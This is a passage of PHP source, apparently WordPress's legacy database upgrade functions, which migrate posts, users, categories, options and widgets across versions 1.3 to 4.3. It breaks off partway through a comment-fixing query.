function upgrade_130() {
	global $wpdb;

	// Remove extraneous backslashes.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			$post_content = addslashes( deslash( $post->post_content ) );
			$post_title   = addslashes( deslash( $post->post_title ) );
			$post_excerpt = addslashes( deslash( $post->post_excerpt ) );
			if ( empty( $post->guid ) ) {
				$guid = get_permalink( $post->ID );
			} else {
				$guid = $post->guid;
			}

			$wpdb->update( $wpdb->posts, compact( 'post_title', 'post_content', 'post_excerpt', 'guid' ), array( 'ID' => $post->ID ) );

		}
	}

	// Remove extraneous backslashes.
	$comments = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments" );
	if ( $comments ) {
		foreach ( $comments as $comment ) {
			$comment_content = deslash( $comment->comment_content );
			$comment_author  = deslash( $comment->comment_author );

			$wpdb->update( $wpdb->comments, compact( 'comment_content', 'comment_author' ), array( 'comment_ID' => $comment->comment_ID ) );
		}
	}

	// Remove extraneous backslashes.
	$links = $wpdb->get_results( "SELECT link_id, link_name, link_description FROM $wpdb->links" );
	if ( $links ) {
		foreach ( $links as $link ) {
			$link_name        = deslash( $link->link_name );
			$link_description = deslash( $link->link_description );

			$wpdb->update( $wpdb->links, compact( 'link_name', 'link_description' ), array( 'link_id' => $link->link_id ) );
		}
	}

	$active_plugins = __get_option( 'active_plugins' );

	/*
	 * If plugins are not stored in an array, they're stored in the old
	 * newline separated format. Convert to new format.
	 */
	if ( ! is_array( $active_plugins ) ) {
		$active_plugins = explode( "\n", trim( $active_plugins ) );
		update_option( 'active_plugins', $active_plugins );
	}

	// Obsolete tables.
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options' );

	// Update comments table to use comment_type.
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'" );
	$wpdb->query( "UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'" );

	// Some versions have multiple duplicate option_name rows with the same values.
	$options = $wpdb->get_results( "SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name" );
	foreach ( $options as $option ) {
		if ( 1 != $option->dupes ) { // Could this be done in the query?
			$limit    = $option->dupes - 1;
			$dupe_ids = $wpdb->get_col( $wpdb->prepare( "SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit ) );
			if ( $dupe_ids ) {
				$dupe_ids = implode( ',', $dupe_ids );
				$wpdb->query( "DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)" );
			}
		}
	}

	make_site_theme();
}

/**
 * Execute changes made in WordPress 2.0.
 *
 * @ignore
 * @since 2.0.0
 *
 * @global wpdb $wpdb                  WordPress database abstraction object.
 * @global int  $wp_current_db_version The old (current) database version.
 */
function upgrade_160() {
	global $wpdb, $wp_current_db_version;

	populate_roles_160();

	$users = $wpdb->get_results( "SELECT * FROM $wpdb->users" );
	foreach ( $users as $user ) :
		if ( ! empty( $user->user_firstname ) ) {
			update_user_meta( $user->ID, 'first_name', wp_slash( $user->user_firstname ) );
		}
		if ( ! empty( $user->user_lastname ) ) {
			update_user_meta( $user->ID, 'last_name', wp_slash( $user->user_lastname ) );
		}
		if ( ! empty( $user->user_nickname ) ) {
			update_user_meta( $user->ID, 'nickname', wp_slash( $user->user_nickname ) );
		}
		if ( ! empty( $user->user_level ) ) {
			update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
		}
		if ( ! empty( $user->user_icq ) ) {
			update_user_meta( $user->ID, 'icq', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_aim ) ) {
			update_user_meta( $user->ID, 'aim', wp_slash( $user->user_aim ) );
		}
		if ( ! empty( $user->user_msn ) ) {
			update_user_meta( $user->ID, 'msn', wp_slash( $user->user_msn ) );
		}
		if ( ! empty( $user->user_yim ) ) {
			update_user_meta( $user->ID, 'yim', wp_slash( $user->user_icq ) );
		}
		if ( ! empty( $user->user_description ) ) {
			update_user_meta( $user->ID, 'description', wp_slash( $user->user_description ) );
		}

		if ( isset( $user->user_idmode ) ) :
			$idmode = $user->user_idmode;
			if ( 'nickname' === $idmode ) {
				$id = $user->user_nickname;
			}
			if ( 'login' === $idmode ) {
				$id = $user->user_login;
			}
			if ( 'firstname' === $idmode ) {
				$id = $user->user_firstname;
			}
			if ( 'lastname' === $idmode ) {
				$id = $user->user_lastname;
			}
			if ( 'namefl' === $idmode ) {
				$id = $user->user_firstname . ' ' . $user->user_lastname;
			}
			if ( 'namelf' === $idmode ) {
				$id = $user->user_lastname . ' ' . $user->user_firstname;
			}
			if ( ! $idmode ) {
				$id = $user->user_nickname;
			}
			$wpdb->update( $wpdb->users, array( 'display_name' => $id ), array( 'ID' => $user->ID ) );
		endif;

		// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
		$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities' );
		if ( empty( $caps ) || defined( 'RESET_CAPS' ) ) {
			$level = get_user_meta( $user->ID, $wpdb->prefix . 'user_level', true );
			$role  = translate_level_to_role( $level );
			update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array( $role => true ) );
		}

	endforeach;
	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
	$wpdb->hide_errors();
	foreach ( $old_user_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->users DROP $old" );
	}
	$wpdb->show_errors();

	// Populate comment_count field of posts table.
	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
	if ( is_array( $comments ) ) {
		foreach ( $comments as $comment ) {
			$wpdb->update( $wpdb->posts, array( 'comment_count' => $comment->c ), array( 'ID' => $comment->comment_post_ID ) );
		}
	}

	/*
	 * Some alpha versions used a post status of object instead of attachment
	 * and put the mime type in post_type instead of post_mime_type.
	 */
	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
		$objects = $wpdb->get_results( "SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'" );
		foreach ( $objects as $object ) {
			$wpdb->update(
				$wpdb->posts,
				array(
					'post_status'    => 'attachment',
					'post_mime_type' => $object->post_type,
					'post_type'      => '',
				),
				array( 'ID' => $object->ID )
			);

			$meta = get_post_meta( $object->ID, 'imagedata', true );
			if ( ! empty( $meta['file'] ) ) {
				update_attached_file( $object->ID, $meta['file'] );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.1.
 *
 * @ignore
 * @since 2.1.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_210() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 3506 ) {
		// Update status and type.
		$posts = $wpdb->get_results( "SELECT ID, post_status FROM $wpdb->posts" );

		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				$status = $post->post_status;
				$type   = 'post';

				if ( 'static' === $status ) {
					$status = 'publish';
					$type   = 'page';
				} elseif ( 'attachment' === $status ) {
					$status = 'inherit';
					$type   = 'attachment';
				}

				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID ) );
			}
		}
	}

	if ( $wp_current_db_version < 3845 ) {
		populate_roles_210();
	}

	if ( $wp_current_db_version < 3531 ) {
		// Give future posts a post_status of future.
		$now = gmdate( 'Y-m-d H:i:59' );
		$wpdb->query( "UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'" );

		$posts = $wpdb->get_results( "SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'" );
		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				wp_schedule_single_event( mysql2date( 'U', $post->post_date, false ), 'publish_future_post', array( $post->ID ) );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.3.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_230() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 5200 ) {
		populate_roles_230();
	}

	// Convert categories to terms.
	$tt_ids     = array();
	$have_tags  = false;
	$categories = $wpdb->get_results( "SELECT * FROM $wpdb->categories ORDER BY cat_ID" );
	foreach ( $categories as $category ) {
		$term_id     = (int) $category->cat_ID;
		$name        = $category->cat_name;
		$description = $category->category_description;
		$slug        = $category->category_nicename;
		$parent      = $category->category_parent;
		$term_group  = 0;

		// Associate terms with the same slug in a term group and make slugs unique.
		$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
		if ( $exists ) {
			$term_group = $exists[0]->term_group;
			$id         = $exists[0]->term_id;
			$num        = 2;
			do {
				$alt_slug = $slug . "-$num";
				++$num;
				$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
			} while ( $slug_check );

			$slug = $alt_slug;

			if ( empty( $term_group ) ) {
				$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group" ) + 1;
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id ) );
			}
		}

		$wpdb->query(
			$wpdb->prepare(
				"INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
		(%d, %s, %s, %d)",
				$term_id,
				$name,
				$slug,
				$term_group
			)
		);

		$count = 0;
		if ( ! empty( $category->category_count ) ) {
			$count    = (int) $category->category_count;
			$taxonomy = 'category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( ! empty( $category->link_count ) ) {
			$count    = (int) $category->link_count;
			$taxonomy = 'link_category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( ! empty( $category->tag_count ) ) {
			$have_tags = true;
			$count     = (int) $category->tag_count;
			$taxonomy  = 'post_tag';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

		if ( empty( $count ) ) {
			$count    = 0;
			$taxonomy = 'category';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}
	}

	$select = 'post_id, category_id';
	if ( $have_tags ) {
		$select .= ', rel_type';
	}

	$posts = $wpdb->get_results( "SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id" );
	foreach ( $posts as $post ) {
		$post_id  = (int) $post->post_id;
		$term_id  = (int) $post->category_id;
		$taxonomy = 'category';
		if ( ! empty( $post->rel_type ) && 'tag' === $post->rel_type ) {
			$taxonomy = 'tag';
		}
		$tt_id = $tt_ids[ $term_id ][ $taxonomy ];
		if ( empty( $tt_id ) ) {
			continue;
		}

		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'object_id'        => $post_id,
				'term_taxonomy_id' => $tt_id,
			)
		);
	}

	// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
	if ( $wp_current_db_version < 3570 ) {
		/*
		 * Create link_category terms for link categories. Create a map of link
		 * category IDs to link_category terms.
		 */
		$link_cat_id_map  = array();
		$default_link_cat = 0;
		$tt_ids           = array();
		$link_cats        = $wpdb->get_results( 'SELECT cat_id, cat_name FROM ' . $wpdb->prefix . 'linkcategories' );
		foreach ( $link_cats as $category ) {
			$cat_id     = (int) $category->cat_id;
			$term_id    = 0;
			$name       = wp_slash( $category->cat_name );
			$slug       = sanitize_title( $name );
			$term_group = 0;

			// Associate terms with the same slug in a term group and make slugs unique.
			$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
			if ( $exists ) {
				$term_group = $exists[0]->term_group;
				$term_id    = $exists[0]->term_id;
			}

			if ( empty( $term_id ) ) {
				$wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) );
				$term_id = (int) $wpdb->insert_id;
			}

			$link_cat_id_map[ $cat_id ] = $term_id;
			$default_link_cat           = $term_id;

			$wpdb->insert(
				$wpdb->term_taxonomy,
				array(
					'term_id'     => $term_id,
					'taxonomy'    => 'link_category',
					'description' => '',
					'parent'      => 0,
					'count'       => 0,
				)
			);
			$tt_ids[ $term_id ] = (int) $wpdb->insert_id;
		}

		// Associate links to categories.
		$links = $wpdb->get_results( "SELECT link_id, link_category FROM $wpdb->links" );
		if ( ! empty( $links ) ) {
			foreach ( $links as $link ) {
				if ( 0 == $link->link_category ) {
					continue;
				}
				if ( ! isset( $link_cat_id_map[ $link->link_category ] ) ) {
					continue;
				}
				$term_id = $link_cat_id_map[ $link->link_category ];
				$tt_id   = $tt_ids[ $term_id ];
				if ( empty( $tt_id ) ) {
					continue;
				}

				$wpdb->insert(
					$wpdb->term_relationships,
					array(
						'object_id'        => $link->link_id,
						'term_taxonomy_id' => $tt_id,
					)
				);
			}
		}

		// Set default to the last category we grabbed during the upgrade loop.
		update_option( 'default_link_category', $default_link_cat );
	} else {
		$links = $wpdb->get_results( "SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id" );
		foreach ( $links as $link ) {
			$link_id  = (int) $link->link_id;
			$term_id  = (int) $link->category_id;
			$taxonomy = 'link_category';
			$tt_id    = $tt_ids[ $term_id ][ $taxonomy ];
			if ( empty( $tt_id ) ) {
				continue;
			}
			$wpdb->insert(
				$wpdb->term_relationships,
				array(
					'object_id'        => $link_id,
					'term_taxonomy_id' => $tt_id,
				)
			);
		}
	}

	if ( $wp_current_db_version < 4772 ) {
		// Obsolete linkcategories table.
		$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories' );
	}

	// Recalculate all counts.
	$terms = $wpdb->get_results( "SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy" );
	foreach ( (array) $terms as $term ) {
		if ( 'post_tag' === $term->taxonomy || 'category' === $term->taxonomy ) {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		} else {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		}
		$wpdb->update( $wpdb->term_taxonomy, array( 'count' => $count ), array( 'term_taxonomy_id' => $term->term_taxonomy_id ) );
	}
}

/**
 * Remove old options from the database.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_options_table() {
	global $wpdb;
	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
	$wpdb->hide_errors();
	foreach ( $old_options_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->options DROP $old" );
	}
	$wpdb->show_errors();
}

/**
 * Remove old categories, link2cat, and post2cat database tables.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_old_tables() {
	global $wpdb;
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat' );
}

/**
 * Upgrade old slugs made in version 2.2.
 *
 * @ignore
 * @since 2.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_old_slugs() {
	// Upgrade people who were using the Redirect Old Slugs plugin.
	global $wpdb;
	$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'" );
}

/**
 * Execute changes made in WordPress 2.5.0.
 *
 * @ignore
 * @since 2.5.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_250() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 6689 ) {
		populate_roles_250();
	}
}

/**
 * Execute changes made in WordPress 2.5.2.
 *
 * @ignore
 * @since 2.5.2
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_252() {
	global $wpdb;

	$wpdb->query( "UPDATE $wpdb->users SET user_activation_key = ''" );
}

/**
 * Execute changes made in WordPress 2.6.
 *
 * @ignore
 * @since 2.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_260() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 8000 ) {
		populate_roles_260();
	}
}

/**
 * Execute changes made in WordPress 2.7.
 *
 * @ignore
 * @since 2.7.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_270() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 8980 ) {
		populate_roles_270();
	}

	// Update post_date for unpublished posts with empty timestamp.
	if ( $wp_current_db_version < 8921 ) {
		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
	}
}

/**
 * Execute changes made in WordPress 2.8.
 *
 * @ignore
 * @since 2.8.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_280() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 10360 ) {
		populate_roles_280();
	}
	if ( is_multisite() ) {
		$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = maybe_unserialize( $row->option_value );
				if ( $value === $row->option_value ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->option_value ) {
					update_option( $row->option_name, $value );
				}
			}
			$start += 20;
		}
		clean_blog_cache( get_current_blog_id() );
	}
}

/**
 * Execute changes made in WordPress 2.9.
 *
 * @ignore
 * @since 2.9.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_290() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 11958 ) {
		/*
		 * Previously, setting depth to 1 would redundantly disable threading,
		 * but now 2 is the minimum depth to avoid confusion.
		 */
		if ( get_option( 'thread_comments_depth' ) == '1' ) {
			update_option( 'thread_comments_depth', 2 );
			update_option( 'thread_comments', 0 );
		}
	}
}

/**
 * Execute changes made in WordPress 3.0.
 *
 * @ignore
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_300() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 15093 ) {
		populate_roles_300();
	}

	if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false ) {
		add_site_option( 'siteurl', '' );
	}

	// 3.0 screen options key name changes.
	if ( wp_should_upgrade_global_tables() ) {
		$sql    = "DELETE FROM $wpdb->usermeta
			WHERE meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key = 'manageedittagscolumnshidden'
			OR meta_key = 'managecategoriescolumnshidden'
			OR meta_key = 'manageedit-tagscolumnshidden'
			OR meta_key = 'manageeditcolumnshidden'
			OR meta_key = 'categories_per_page'
			OR meta_key = 'edit_tags_per_page'";
		$prefix = $wpdb->esc_like( $wpdb->base_prefix );
		$wpdb->query(
			$wpdb->prepare(
				$sql,
				$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'manage-' ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'meta-box-order' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'metaboxorder' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'screen_layout' ) . '%'
			)
		);
	}
}

/**
 * Execute changes made in WordPress 3.3.
 *
 * @ignore
 * @since 3.3.0
 *
 * @global int   $wp_current_db_version The old (current) database version.
 * @global wpdb  $wpdb                  WordPress database abstraction object.
 * @global array $wp_registered_widgets
 * @global array $sidebars_widgets
 */
function upgrade_330() {
	global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;

	if ( $wp_current_db_version < 19061 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
	}

	if ( $wp_current_db_version >= 11548 ) {
		return;
	}

	$sidebars_widgets  = get_option( 'sidebars_widgets', array() );
	$_sidebars_widgets = array();

	if ( isset( $sidebars_widgets['wp_inactive_widgets'] ) || empty( $sidebars_widgets ) ) {
		$sidebars_widgets['array_version'] = 3;
	} elseif ( ! isset( $sidebars_widgets['array_version'] ) ) {
		$sidebars_widgets['array_version'] = 1;
	}

	switch ( $sidebars_widgets['array_version'] ) {
		case 1:
			foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
				if ( is_array( $sidebar ) ) {
					foreach ( (array) $sidebar as $i => $name ) {
						$id = strtolower( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}

						$id = sanitize_title( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}

						$found = false;

						foreach ( $wp_registered_widgets as $widget_id => $widget ) {
							if ( strtolower( $widget['name'] ) === strtolower( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];

								$found = true;
								break;
							} elseif ( sanitize_title( $widget['name'] ) === sanitize_title( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];

								$found = true;
								break;
							}
						}

						if ( $found ) {
							continue;
						}

						unset( $_sidebars_widgets[ $index ][ $i ] );
					}
				}
			}
			$_sidebars_widgets['array_version'] = 2;
			$sidebars_widgets                   = $_sidebars_widgets;
			unset( $_sidebars_widgets );

			// Intentional fall-through to upgrade to the next version.
		case 2:
			$sidebars_widgets                  = retrieve_widgets();
			$sidebars_widgets['array_version'] = 3;
			update_option( 'sidebars_widgets', $sidebars_widgets );
	}
}

/**
 * Execute changes made in WordPress 3.4.
 *
 * @ignore
 * @since 3.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_340() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 19798 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
		$wpdb->show_errors();
	}

	if ( $wp_current_db_version < 19799 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->comments DROP INDEX comment_approved" );
		$wpdb->show_errors();
	}

	if ( $wp_current_db_version < 20022 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
	}

	if ( $wp_current_db_version < 20080 ) {
		if ( 'yes' === $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
			$uninstall_plugins = get_option( 'uninstall_plugins' );
			delete_option( 'uninstall_plugins' );
			add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.5.
 *
 * @ignore
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_350() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options().
	}

	if ( $wp_current_db_version < 21811 && wp_should_upgrade_global_tables() ) {
		$meta_keys = array();
		foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
			if ( str_contains( $name, '-' ) ) {
				$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
			}
		}
		if ( $meta_keys ) {
			$meta_keys = implode( "', '", $meta_keys );
			$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
		}
	}

	if ( $wp_current_db_version < 22422 ) {
		$term = get_term_by( 'slug', 'post-format-standard', 'post_format' );
		if ( $term ) {
			wp_delete_term( $term->term_id, 'post_format' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.7.
 *
 * @ignore
 * @since 3.7.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_370() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 25824 ) {
		wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
	}
}

/**
 * Execute changes made in WordPress 3.7.2.
 *
 * @ignore
 * @since 3.7.2
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_372() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 26148 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}
}

/**
 * Execute changes made in WordPress 3.8.0.
 *
 * @ignore
 * @since 3.8.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_380() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 26691 ) {
		deactivate_plugins( array( 'mp6/mp6.php' ), true );
	}
}

/**
 * Execute changes made in WordPress 4.0.0.
 *
 * @ignore
 * @since 4.0.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_400() {
	global $wp_current_db_version;

	if ( $wp_current_db_version < 29630 ) {
		if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages(), true ) ) {
				update_option( 'WPLANG', WPLANG );
			} else {
				update_option( 'WPLANG', '' );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 4.2.0.
 *
 * @ignore
 * @since 4.2.0
 */
function upgrade_420() {}

/**
 * Executes changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_430() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version < 32364 ) {
		upgrade_430_fix_comments();
	}

	// Shared terms are split in a separate process.
	if ( $wp_current_db_version < 32814 ) {
		update_option( 'finished_splitting_shared_terms', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
	}

	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( is_multisite() ) {
			$tables = $wpdb->tables( 'blog' );
		} else {
			$tables = $wpdb->tables( 'all' );
			if ( ! wp_should_upgrade_global_tables() ) {
				$global_tables = $wpdb->tables( 'global' );
				$tables        = array_diff_assoc( $tables, $global_tables );
			}
		}

		foreach ( $tables as $table ) {
			maybe_convert_table_to_utf8mb4( $table );
		}
	}
}

/**
 * Executes comments changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_430_fix_comments() {
	global $wpdb;

	$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );

	if ( is_wp_error( $content_length ) ) {
		return;
	}

	if ( false === $content_length ) {
		$content_length = array(
			'type'   => 'byte',
			'length' => 65535,
		);
	} elseif ( ! is_array( $content_length ) ) {
		$length         = (int) $content_length > 0 ? (int) $content_length : 65535;
		$content_length = array(
			'type'   => 'byte',
			'length' => $length,
		);
	}

	if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
		// Sites with malformed DB schemas are on their own.
		return;
	}

	$allowed_length = (int) $content_length['length'] - 10;

	$comments = $wpdb->get_results(
		"SELECT `comment_ID` FROM `{$wpdb->comments}`
			WHERE `comment_date_gmt` > '2015-04-26'
